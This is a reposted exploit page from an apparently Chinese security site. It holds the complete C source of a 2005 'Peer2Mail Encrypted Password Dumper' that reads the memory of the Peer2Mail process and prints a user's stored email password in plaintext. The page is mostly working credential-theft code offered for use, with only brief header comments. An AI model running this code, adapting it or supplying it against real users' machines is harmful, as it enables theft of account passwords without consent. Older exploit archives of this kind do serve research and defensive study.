首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Peer2Mail Encrypted Password Dumper Exploit
来源:www.atmacasoft.com 作者:ATmaCA 发布时间:2005-01-19  

Peer2Mail Encrypted Password Dumper Exploit

/*
* Peer2Mail Encrypt PassDumper Exploit v1.0
* Discoveried & Coded By ATmaCA
* Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.
* Web: http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
*/

/*
* Peer2Mail 1.4 and prior versions are affected.
* Tested for gmail account on Win XP SP2
*/

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <tlhelp32.h>

void Credits(void);
DWORD GetPid(char ProcessName[200]);
int PutUserPassword(DWORD pid);

int main(void)
{
char TargetProcess[80];
DWORD pid;

Credits(); //print the credits to the screen

pid=GetPid("p2m.exe"); //Get the PID of the target process
if(pid==0)
{
printf("Error: Getting pid from %s",TargetProcess);
return EXIT_FAILURE;
}

if(PutUserPassword(pid)!=0) //if we can not get the password
return EXIT_FAILURE;

return EXIT_SUCCESS;

}
void Credits() //the function that prints the credits to the screen
{
printf("Peer2Mail Encrypt PassDumper Exploit v1.0\n");
printf("Discoveried & Coded By [ATmaCA]\n");
printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.\n");
printf("Web: http://www.atmacasoft.com\n");
printf("E-Mail: atmaca@icqmail.com\n\n");
}

DWORD GetPid(char ProcessName[200]) //gets the process-id from the processname
{
DWORD pid;
HANDLE Snap;
PROCESSENTRY32 proc32;
char CapProcessName[200];

strcpy(CapProcessName,CharLower(ProcessName));

Snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //Create a snapshot of all current running processes
if(Snap==INVALID_HANDLE_VALUE)
{
printf("Error creating snapshot of current processes.");

return 0;
}

proc32.dwSize=sizeof(PROCESSENTRY32);
while((Process32Next(Snap,&proc32))==TRUE) //Get the process-id from p2m.exe
{
if(strcmp(CharLower(proc32.szExeFile),CharLower(ProcessName))==0||strcmp(CharLower(proc32.szExeFile),CharLower(CapProcessName))==0)
break;

}
pid=proc32.th32ProcessID;
CloseHandle(Snap);
return pid;
}

int PutUserPassword(DWORD pid)
{
#define BUFSIZE 500000

HANDLE hProc;
DWORD total;
long int base;
char buf[BUFSIZE];
char pass[BUFSIZE];
int i=0,j,k;

//open the process
hProc=OpenProcess(PROCESS_VM_READ,FALSE,pid);
if(hProc==NULL)
{
printf("Error: opening process.");
printf("\nPerhaps this account is too limited..");
return 1;
}

//
// The Base Memory Address To Search;
// The Password May Be Located Before The Address Or Far More From This Address,
// Which Causes The Result Unreliable
//
base=0x01320000;

//try to read the memory of p2m.exe
while(ReadProcessMemory(hProc,(PVOID)base,buf,BUFSIZE,&total)!=0)
{
for(i=0;i<BUFSIZE;i++)
{
if(buf[i]=='p'&&buf[i+1]=='a'&&buf[i+2]=='s'&&buf[i+3]=='s'&&buf[i+4]=='w'&&buf[i+5]=='d'&&buf[i+6]=='=')
{
j=0;
for(k=i+7;k<BUFSIZE;k++)
{
if(buf[k]=='&')//check if we've reached the end of the password
{
pass[j]=NULL;
goto gotit;
}
pass[j]=buf[k];
j++;
}
break;
}
}
base+=BUFSIZE;
}
gotit:
printf("Password: %s",pass);
CloseHandle(hProc);
return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·NodeManager Professional 2.00
·EXIM dns_buld_reverse() PoC
·Linux kernel i386 SMP race con
·fkey v0.0.2 Local File Accessi
·Apple iTunes Playlist Remote B
·MacOSX <= 10.3.7 Input Vali
·Apple iTunes Playlist Buffer O
·Microsoft Internet Explorer .A
·ITA Forum <= 1.49 SQL Injec
·Mac OS X 10.3 iSync 'mRouter'
·mremap missing do_munmap retur
·最新Help ActiveX控件网页木马
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved